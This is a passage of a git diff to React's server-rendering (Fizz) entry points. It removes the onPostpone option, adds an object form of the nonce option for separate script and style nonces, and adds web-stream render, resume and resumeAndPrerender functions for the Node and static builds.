+    const submitEvent = new SubmitEvent('submit', {
+      bubbles: true,
+      cancelable: true,
+      submitter: submitter,
+    });
+    await act(() => {
+      submitter.dispatchEvent(submitEvent);
+    });
+
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    const event = onSubmit.mock.calls[0][0];
+    expect(event.submitter).toBe(submitter);
+  });
 });
diff --git a/packages/react-dom/src/server/ReactDOMFizzServerBrowser.js b/packages/react-dom/src/server/ReactDOMFizzServerBrowser.js
index 8879a511d3fa..75c0768b3248 100644
--- a/packages/react-dom/src/server/ReactDOMFizzServerBrowser.js
+++ b/packages/react-dom/src/server/ReactDOMFizzServerBrowser.js
@@ -7,11 +7,7 @@
  * @flow
  */
 
-import type {
-  PostponedState,
-  ErrorInfo,
-  PostponeInfo,
-} from 'react-server/src/ReactFizzServer';
+import type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';
 import type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';
 import type {
   BootstrapScriptDescriptor,
@@ -40,17 +36,23 @@ import {
 import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';
 ensureCorrectIsomorphicReactVersion();
 
+type NonceOption =
+  | string
+  | {
+      script?: string,
+      style?: string,
+    };
+
 type Options = {
   identifierPrefix?: string,
   namespaceURI?: string,
-  nonce?: string,
+  nonce?: NonceOption,
   bootstrapScriptContent?: string,
   bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,
   bootstrapModules?: Array<string | BootstrapScriptDescriptor>,
   progressiveChunkSize?: number,
   signal?: AbortSignal,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
   importMap?: ImportMap,
   formState?: ReactFormState<any, any> | null,
@@ -59,10 +61,9 @@ type Options = {
 };
 
 type ResumeOptions = {
-  nonce?: string,
+  nonce?: NonceOption,
   signal?: AbortSignal,
   onError?: (error: mixed) => ?string,
-  onPostpone?: (reason: string) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
 };
 
@@ -143,7 +144,6 @@ function renderToReadableStream(
       onShellReady,
       onShellError,
       onFatalError,
-      options ? options.onPostpone : undefined,
       options ? options.formState : undefined,
     );
     if (options && options.signal) {
@@ -213,7 +213,6 @@ function resume(
       onShellReady,
       onShellError,
       onFatalError,
-      options ? options.onPostpone : undefined,
     );
     if (options && options.signal) {
       const signal = options.signal;
diff --git a/packages/react-dom/src/server/ReactDOMFizzServerBun.js b/packages/react-dom/src/server/ReactDOMFizzServerBun.js
index 750c3133c451..90d6ccdad2e5 100644
--- a/packages/react-dom/src/server/ReactDOMFizzServerBun.js
+++ b/packages/react-dom/src/server/ReactDOMFizzServerBun.js
@@ -13,7 +13,7 @@ import type {
   HeadersDescriptor,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 import type {ImportMap} from '../shared/ReactDOMTypes';
-import type {ErrorInfo, PostponeInfo} from 'react-server/src/ReactFizzServer';
+import type {ErrorInfo} from 'react-server/src/ReactFizzServer';
 
 import ReactVersion from 'shared/ReactVersion';
 
@@ -37,14 +37,18 @@ ensureCorrectIsomorphicReactVersion();
 type Options = {
   identifierPrefix?: string,
   namespaceURI?: string,
-  nonce?: string,
+  nonce?:
+    | string
+    | {
+        script?: string,
+        style?: string,
+      },
   bootstrapScriptContent?: string,
   bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,
   bootstrapModules?: Array<string | BootstrapScriptDescriptor>,
   progressiveChunkSize?: number,
   signal?: AbortSignal,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
   importMap?: ImportMap,
   formState?: ReactFormState<any, any> | null,
@@ -130,7 +134,6 @@ function renderToReadableStream(
       onShellReady,
       onShellError,
       onFatalError,
-      options ? options.onPostpone : undefined,
       options ? options.formState : undefined,
     );
     if (options && options.signal) {
diff --git a/packages/react-dom/src/server/ReactDOMFizzServerEdge.js b/packages/react-dom/src/server/ReactDOMFizzServerEdge.js
index 8879a511d3fa..75c0768b3248 100644
--- a/packages/react-dom/src/server/ReactDOMFizzServerEdge.js
+++ b/packages/react-dom/src/server/ReactDOMFizzServerEdge.js
@@ -7,11 +7,7 @@
  * @flow
  */
 
-import type {
-  PostponedState,
-  ErrorInfo,
-  PostponeInfo,
-} from 'react-server/src/ReactFizzServer';
+import type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';
 import type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';
 import type {
   BootstrapScriptDescriptor,
@@ -40,17 +36,23 @@ import {
 import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';
 ensureCorrectIsomorphicReactVersion();
 
+type NonceOption =
+  | string
+  | {
+      script?: string,
+      style?: string,
+    };
+
 type Options = {
   identifierPrefix?: string,
   namespaceURI?: string,
-  nonce?: string,
+  nonce?: NonceOption,
   bootstrapScriptContent?: string,
   bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,
   bootstrapModules?: Array<string | BootstrapScriptDescriptor>,
   progressiveChunkSize?: number,
   signal?: AbortSignal,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
   importMap?: ImportMap,
   formState?: ReactFormState<any, any> | null,
@@ -59,10 +61,9 @@ type Options = {
 };
 
 type ResumeOptions = {
-  nonce?: string,
+  nonce?: NonceOption,
   signal?: AbortSignal,
   onError?: (error: mixed) => ?string,
-  onPostpone?: (reason: string) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
 };
 
@@ -143,7 +144,6 @@ function renderToReadableStream(
       onShellReady,
       onShellError,
       onFatalError,
-      options ? options.onPostpone : undefined,
       options ? options.formState : undefined,
     );
     if (options && options.signal) {
@@ -213,7 +213,6 @@ function resume(
       onShellReady,
       onShellError,
       onFatalError,
-      options ? options.onPostpone : undefined,
     );
     if (options && options.signal) {
       const signal = options.signal;
diff --git a/packages/react-dom/src/server/ReactDOMFizzServerNode.js b/packages/react-dom/src/server/ReactDOMFizzServerNode.js
index f0c9d75fc710..c0a3cf1096eb 100644
--- a/packages/react-dom/src/server/ReactDOMFizzServerNode.js
+++ b/packages/react-dom/src/server/ReactDOMFizzServerNode.js
@@ -11,7 +11,6 @@ import type {
   Request,
   PostponedState,
   ErrorInfo,
-  PostponeInfo,
 } from 'react-server/src/ReactFizzServer';
 import type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';
 import type {Writable} from 'stream';
@@ -41,6 +40,8 @@ import {
   createRootFormatContext,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 
+import {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';
+
 import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';
 ensureCorrectIsomorphicReactVersion();
 
@@ -56,10 +57,17 @@ function createCancelHandler(request: Request, reason: string) {
   };
 }
 
+type NonceOption =
+  | string
+  | {
+      script?: string,
+      style?: string,
+    };
+
 type Options = {
   identifierPrefix?: string,
   namespaceURI?: string,
-  nonce?: string,
+  nonce?: NonceOption,
   bootstrapScriptContent?: string,
   bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,
   bootstrapModules?: Array<string | BootstrapScriptDescriptor>,
@@ -68,7 +76,6 @@ type Options = {
   onShellError?: (error: mixed) => void,
   onAllReady?: () => void,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
   importMap?: ImportMap,
   formState?: ReactFormState<any, any> | null,
@@ -77,12 +84,11 @@ type Options = {
 };
 
 type ResumeOptions = {
-  nonce?: string,
+  nonce?: NonceOption,
   onShellReady?: () => void,
   onShellError?: (error: mixed) => void,
   onAllReady?: () => void,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
 };
 
 type PipeableStream = {
@@ -118,7 +124,6 @@ function createRequestImpl(children: ReactNodeList, options: void | Options) {
     options ? options.onShellReady : undefined,
     options ? options.onShellError : undefined,
     undefined,
-    options ? options.onPostpone : undefined,
     options ? options.formState : undefined,
   );
 }
@@ -160,6 +165,140 @@ function renderToPipeableStream(
   };
 }
 
+function createFakeWritableFromReadableStreamController(
+  controller: ReadableStreamController,
+): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      if (typeof chunk === 'string') {
+        chunk = textEncoder.encode(chunk);
+      }
+      controller.enqueue(chunk);
+      // in web streams there is no backpressure so we can alwas write more
+      return true;
+    },
+    end() {
+      controller.close();
+    },
+    destroy(error) {
+      // $FlowFixMe[method-unbinding]
+      if (typeof controller.error === 'function') {
+        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
+        controller.error(error);
+      } else {
+        controller.close();
+      }
+    },
+  }: any);
+}
+
+// TODO: Move to sub-classing ReadableStream.
+type ReactDOMServerReadableStream = ReadableStream & {
+  allReady: Promise<void>,
+};
+
+type WebStreamsOptions = Omit<
+  Options,
+  'onShellReady' | 'onShellError' | 'onAllReady' | 'onHeaders',
+> & {signal: AbortSignal, onHeaders?: (headers: Headers) => void};
+
+function renderToReadableStream(
+  children: ReactNodeList,
+  options?: WebStreamsOptions,
+): Promise<ReactDOMServerReadableStream> {
+  return new Promise((resolve, reject) => {
+    let onFatalError;
+    let onAllReady;
+    const allReady = new Promise<void>((res, rej) => {
+      onAllReady = res;
+      onFatalError = rej;
+    });
+
+    function onShellReady() {
+      let writable: Writable;
+      const stream: ReactDOMServerReadableStream = (new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      ): any);
+      // TODO: Move to sub-classing ReadableStream.
+      stream.allReady = allReady;
+      resolve(stream);
+    }
+    function onShellError(error: mixed) {
+      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.
+      // However, `allReady` will be rejected by `onFatalError` as well.
+      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.
+      allReady.catch(() => {});
+      reject(error);
+    }
+
+    const onHeaders = options ? options.onHeaders : undefined;
+    let onHeadersImpl;
+    if (onHeaders) {
+      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {
+        onHeaders(new Headers(headersDescriptor));
+      };
+    }
+
+    const resumableState = createResumableState(
+      options ? options.identifierPrefix : undefined,
+      options ? options.unstable_externalRuntimeSrc : undefined,
+      options ? options.bootstrapScriptContent : undefined,
+      options ? options.bootstrapScripts : undefined,
+      options ? options.bootstrapModules : undefined,
+    );
+    const request = createRequest(
+      children,
+      resumableState,
+      createRenderState(
+        resumableState,
+        options ? options.nonce : undefined,
+        options ? options.unstable_externalRuntimeSrc : undefined,
+        options ? options.importMap : undefined,
+        onHeadersImpl,
+        options ? options.maxHeadersLength : undefined,
+      ),
+      createRootFormatContext(options ? options.namespaceURI : undefined),
+      options ? options.progressiveChunkSize : undefined,
+      options ? options.onError : undefined,
+      onAllReady,
+      onShellReady,
+      onShellError,
+      onFatalError,
+      options ? options.formState : undefined,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort(request, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abort(request, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
 function resumeRequestImpl(
   children: ReactNodeList,
   postponedState: PostponedState,
@@ -177,7 +316,6 @@ function resumeRequestImpl(
     options ? options.onShellReady : undefined,
     options ? options.onShellError : undefined,
     undefined,
-    options ? options.onPostpone : undefined,
   );
 }
 
@@ -218,8 +356,88 @@ function resumeToPipeableStream(
   };
 }
 
+type WebStreamsResumeOptions = Omit<
+  Options,
+  'onShellReady' | 'onShellError' | 'onAllReady',
+> & {signal: AbortSignal};
+
+function resume(
+  children: ReactNodeList,
+  postponedState: PostponedState,
+  options?: WebStreamsResumeOptions,
+): Promise<ReactDOMServerReadableStream> {
+  return new Promise((resolve, reject) => {
+    let onFatalError;
+    let onAllReady;
+    const allReady = new Promise<void>((res, rej) => {
+      onAllReady = res;
+      onFatalError = rej;
+    });
+
+    function onShellReady() {
+      let writable: Writable;
+      const stream: ReactDOMServerReadableStream = (new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      ): any);
+      // TODO: Move to sub-classing ReadableStream.
+      stream.allReady = allReady;
+      resolve(stream);
+    }
+    function onShellError(error: mixed) {
+      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.
+      // However, `allReady` will be rejected by `onFatalError` as well.
+      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.
+      allReady.catch(() => {});
+      reject(error);
+    }
+    const request = resumeRequest(
+      children,
+      postponedState,
+      resumeRenderState(
+        postponedState.resumableState,
+        options ? options.nonce : undefined,
+      ),
+      options ? options.onError : undefined,
+      onAllReady,
+      onShellReady,
+      onShellError,
+      onFatalError,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort(request, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abort(request, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
 export {
   renderToPipeableStream,
+  renderToReadableStream,
   resumeToPipeableStream,
+  resume,
   ReactVersion as version,
 };
diff --git a/packages/react-dom/src/server/ReactDOMFizzStaticBrowser.js b/packages/react-dom/src/server/ReactDOMFizzStaticBrowser.js
index f5d6a45a18c8..c1024ea3f4d3 100644
--- a/packages/react-dom/src/server/ReactDOMFizzStaticBrowser.js
+++ b/packages/react-dom/src/server/ReactDOMFizzStaticBrowser.js
@@ -12,17 +12,14 @@ import type {
   BootstrapScriptDescriptor,
   HeadersDescriptor,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
-import type {
-  PostponedState,
-  ErrorInfo,
-  PostponeInfo,
-} from 'react-server/src/ReactFizzServer';
+import type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';
 import type {ImportMap} from '../shared/ReactDOMTypes';
 
 import ReactVersion from 'shared/ReactVersion';
 
 import {
   createPrerenderRequest,
+  resumeAndPrerenderRequest,
   startWork,
   startFlowing,
   stopFlowing,
@@ -33,12 +30,20 @@ import {
 import {
   createResumableState,
   createRenderState,
+  resumeRenderState,
   createRootFormatContext,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 
 import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';
 ensureCorrectIsomorphicReactVersion();
 
+type NonceOption =
+  | string
+  | {
+      script?: string,
+      style?: string,
+    };
+
 type Options = {
   identifierPrefix?: string,
   namespaceURI?: string,
@@ -48,7 +53,6 @@ type Options = {
   progressiveChunkSize?: number,
   signal?: AbortSignal,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
   importMap?: ImportMap,
   onHeaders?: (headers: Headers) => void,
@@ -83,7 +87,7 @@ function prerender(
         {highWaterMark: 0},
       );
 
-      const result = {
+      const result: StaticResult = {
         postponed: getPostponedState(request),
         prelude: stream,
       };
@@ -123,7 +127,6 @@ function prerender(
       undefined,
       undefined,
       onFatalError,
-      options ? options.onPostpone : undefined,
     );
     if (options && options.signal) {
       const signal = options.signal;
@@ -141,4 +144,68 @@ function prerender(
   });
 }
 
-export {prerender, ReactVersion as version};
+type ResumeOptions = {
+  nonce?: NonceOption,
+  signal?: AbortSignal,
+  onError?: (error: mixed) => ?string,
+  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
+};
+
+function resumeAndPrerender(
+  children: ReactNodeList,
+  postponedState: PostponedState,
+  options?: Omit<ResumeOptions, 'nonce'>,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+
+      const result = {
+        postponed: getPostponedState(request),
+        prelude: stream,
+      };
+      resolve(result);
+    }
+
+    const request = resumeAndPrerenderRequest(
+      children,
+      postponedState,
+      resumeRenderState(postponedState.resumableState, undefined),
+      options ? options.onError : undefined,
+      onAllReady,
+      undefined,
+      undefined,
+      onFatalError,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort(request, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abort(request, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+export {prerender, resumeAndPrerender, ReactVersion as version};
diff --git a/packages/react-dom/src/server/ReactDOMFizzStaticEdge.js b/packages/react-dom/src/server/ReactDOMFizzStaticEdge.js
index 1a2eb1e599af..002c4c51b44f 100644
--- a/packages/react-dom/src/server/ReactDOMFizzStaticEdge.js
+++ b/packages/react-dom/src/server/ReactDOMFizzStaticEdge.js
@@ -12,17 +12,14 @@ import type {
   BootstrapScriptDescriptor,
   HeadersDescriptor,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
-import type {
-  PostponedState,
-  ErrorInfo,
-  PostponeInfo,
-} from 'react-server/src/ReactFizzServer';
+import type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';
 import type {ImportMap} from '../shared/ReactDOMTypes';
 
 import ReactVersion from 'shared/ReactVersion';
 
 import {
   createPrerenderRequest,
+  resumeAndPrerenderRequest,
   startWork,
   startFlowing,
   stopFlowing,
@@ -33,12 +30,20 @@ import {
 import {
   createResumableState,
   createRenderState,
+  resumeRenderState,
   createRootFormatContext,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 
 import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';
 ensureCorrectIsomorphicReactVersion();
 
+type NonceOption =
+  | string
+  | {
+      script?: string,
+      style?: string,
+    };
+
 type Options = {
   identifierPrefix?: string,
   namespaceURI?: string,
@@ -48,7 +53,6 @@ type Options = {
   progressiveChunkSize?: number,
   signal?: AbortSignal,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
   importMap?: ImportMap,
   onHeaders?: (headers: Headers) => void,
@@ -83,7 +87,7 @@ function prerender(
         {highWaterMark: 0},
       );
 
-      const result = {
+      const result: StaticResult = {
         postponed: getPostponedState(request),
         prelude: stream,
       };
@@ -122,7 +126,6 @@ function prerender(
       undefined,
       undefined,
       onFatalError,
-      options ? options.onPostpone : undefined,
     );
     if (options && options.signal) {
       const signal = options.signal;
@@ -140,4 +143,67 @@ function prerender(
   });
 }
 
-export {prerender, ReactVersion as version};
+type ResumeOptions = {
+  nonce?: NonceOption,
+  signal?: AbortSignal,
+  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
+};
+
+function resumeAndPrerender(
+  children: ReactNodeList,
+  postponedState: PostponedState,
+  options?: Omit<ResumeOptions, 'nonce'>,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+
+      const result = {
+        postponed: getPostponedState(request),
+        prelude: stream,
+      };
+      resolve(result);
+    }
+
+    const request = resumeAndPrerenderRequest(
+      children,
+      postponedState,
+      resumeRenderState(postponedState.resumableState, undefined),
+      options ? options.onError : undefined,
+      onAllReady,
+      undefined,
+      undefined,
+      onFatalError,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort(request, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abort(request, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+export {prerender, resumeAndPrerender, ReactVersion as version};
diff --git a/packages/react-dom/src/server/ReactDOMFizzStaticNode.js b/packages/react-dom/src/server/ReactDOMFizzStaticNode.js
index fc25aa75c190..73abcadeb7a7 100644
--- a/packages/react-dom/src/server/ReactDOMFizzStaticNode.js
+++ b/packages/react-dom/src/server/ReactDOMFizzStaticNode.js
@@ -12,11 +12,7 @@ import type {
   BootstrapScriptDescriptor,
   HeadersDescriptor,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
-import type {
-  PostponedState,
-  ErrorInfo,
-  PostponeInfo,
-} from 'react-server/src/ReactFizzServer';
+import type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';
 import type {ImportMap} from '../shared/ReactDOMTypes';
 
 import {Writable, Readable} from 'stream';
@@ -25,8 +21,10 @@ import ReactVersion from 'shared/ReactVersion';
 
 import {
   createPrerenderRequest,
+  resumeAndPrerenderRequest,
   startWork,
   startFlowing,
+  stopFlowing,
   abort,
   getPostponedState,
 } from 'react-server/src/ReactFizzServer';
@@ -34,12 +32,22 @@ import {
 import {
   createResumableState,
   createRenderState,
+  resumeRenderState,
   createRootFormatContext,
 } from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 
+import {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';
+
 import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';
 ensureCorrectIsomorphicReactVersion();
 
+type NonceOption =
+  | string
+  | {
+      script?: string,
+      style?: string,
+    };
+
 type Options = {
   identifierPrefix?: string,
   namespaceURI?: string,
@@ -49,7 +57,6 @@ type Options = {
   progressiveChunkSize?: number,
   signal?: AbortSignal,
   onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
-  onPostpone?: (reason: string, postponeInfo: PostponeInfo) => void,
   unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,
   importMap?: ImportMap,
   onHeaders?: (headers: HeadersDescriptor) => void,
@@ -61,7 +68,36 @@ type StaticResult = {
   prelude: Readable,
 };
 
-function createFakeWritable(readable: any): Writable {
+function createFakeWritableFromReadableStreamController(
+  controller: ReadableStreamController,
+): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      if (typeof chunk === 'string') {
+        chunk = textEncoder.encode(chunk);
+      }
+      controller.enqueue(chunk);
+      // in web streams there is no backpressure so we can alwas write more
+      return true;
+    },
+    end() {
+      controller.close();
+    },
+    destroy(error) {
+      // $FlowFixMe[method-unbinding]
+      if (typeof controller.error === 'function') {
+        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
+        controller.error(error);
+      } else {
+        controller.close();
+      }
+    },
+  }: any);
+}
+
+function createFakeWritableFromReadable(readable: any): Writable {
   // The current host config expects a Writable so we create
   // a fake writable for now to push into the Readable.
   return ({
@@ -90,9 +126,9 @@ function prerenderToNodeStream(
           startFlowing(request, writable);
         },
       });
-      const writable = createFakeWritable(readable);
+      const writable = createFakeWritableFromReadable(readable);
 
-      const result = {
+      const result: StaticResult = {
         postponed: getPostponedState(request),
         prelude: readable,
       };
@@ -123,7 +159,6 @@ function prerenderToNodeStream(
       undefined,
       undefined,
       onFatalError,
-      options ? options.onPostpone : undefined,
     );
     if (options && options.signal) {
       const signal = options.signal;
@@ -141,4 +176,218 @@ function prerenderToNodeStream(
   });
 }
 
-export {prerenderToNodeStream, ReactVersion as version};
+function prerender(
+  children: ReactNodeList,
+  options?: Omit<Options, 'onHeaders'> & {
+    onHeaders?: (headers: Headers) => void,
+  },
+): Promise<{
+  postponed: null | PostponedState,
+  prelude: ReadableStream,
+}> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+
+    function onAllReady() {
+      let writable: Writable;
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+
+      const result = {
+        postponed: getPostponedState(request),
+        prelude: stream,
+      };
+      resolve(result);
+    }
+
+    const onHeaders = options ? options.onHeaders : undefined;
+    let onHeadersImpl;
+    if (onHeaders) {
+      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {
+        onHeaders(new Headers(headersDescriptor));
+      };
+    }
+    const resources = createResumableState(
+      options ? options.identifierPrefix : undefined,
+      options ? options.unstable_externalRuntimeSrc : undefined,
+      options ? options.bootstrapScriptContent : undefined,
+      options ? options.bootstrapScripts : undefined,
+      options ? options.bootstrapModules : undefined,
+    );
+    const request = createPrerenderRequest(
+      children,
+      resources,
+      createRenderState(
+        resources,
+        undefined, // nonce is not compatible with prerendered bootstrap scripts
+        options ? options.unstable_externalRuntimeSrc : undefined,
+        options ? options.importMap : undefined,
+        onHeadersImpl,
+        options ? options.maxHeadersLength : undefined,
+      ),
+      createRootFormatContext(options ? options.namespaceURI : undefined),
+      options ? options.progressiveChunkSize : undefined,
+      options ? options.onError : undefined,
+      onAllReady,
+      undefined,
+      undefined,
+      onFatalError,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort(request, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abort(request, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+type ResumeOptions = {
+  nonce?: NonceOption,
+  signal?: AbortSignal,
+  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
+};
+
+function resumeAndPrerenderToNodeStream(
+  children: ReactNodeList,
+  postponedState: PostponedState,
+  options?: Omit<ResumeOptions, 'nonce'>,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+
+    function onAllReady() {
+      const readable: Readable = new Readable({
+        read() {
+          startFlowing(request, writable);
+        },
+      });
+      const writable = createFakeWritableFromReadable(readable);
+
+      const result = {
+        postponed: getPostponedState(request),
+        prelude: readable,
+      };
+      resolve(result);
+    }
+    const request = resumeAndPrerenderRequest(
+      children,
+      postponedState,
+      resumeRenderState(postponedState.resumableState, undefined),
+      options ? options.onError : undefined,
+      onAllReady,
+      undefined,
+      undefined,
+      onFatalError,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort(request, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abort(request, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function resumeAndPrerender(
+  children: ReactNodeList,
+  postponedState: PostponedState,
+  options?: Omit<ResumeOptions, 'nonce'>,
+): Promise<{
+  postponed: null | PostponedState,
+  prelude: ReadableStream,
+}> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+
+    function onAllReady() {
+      let writable: Writable;
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+
+      const result = {
+        postponed: getPostponedState(request),
+        prelude: stream,
+      };
+      resolve(result);
+    }
+
+    const request = resumeAndPrerenderRequest(
+      children,
+      postponedState,
+      resumeRenderState(postponedState.resumableState, undefined),
+      options ? options.onError : undefined,
+      onAllReady,
+      undefined,
+      undefined,
+      onFatalError,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort(request, (signal: any).reason);
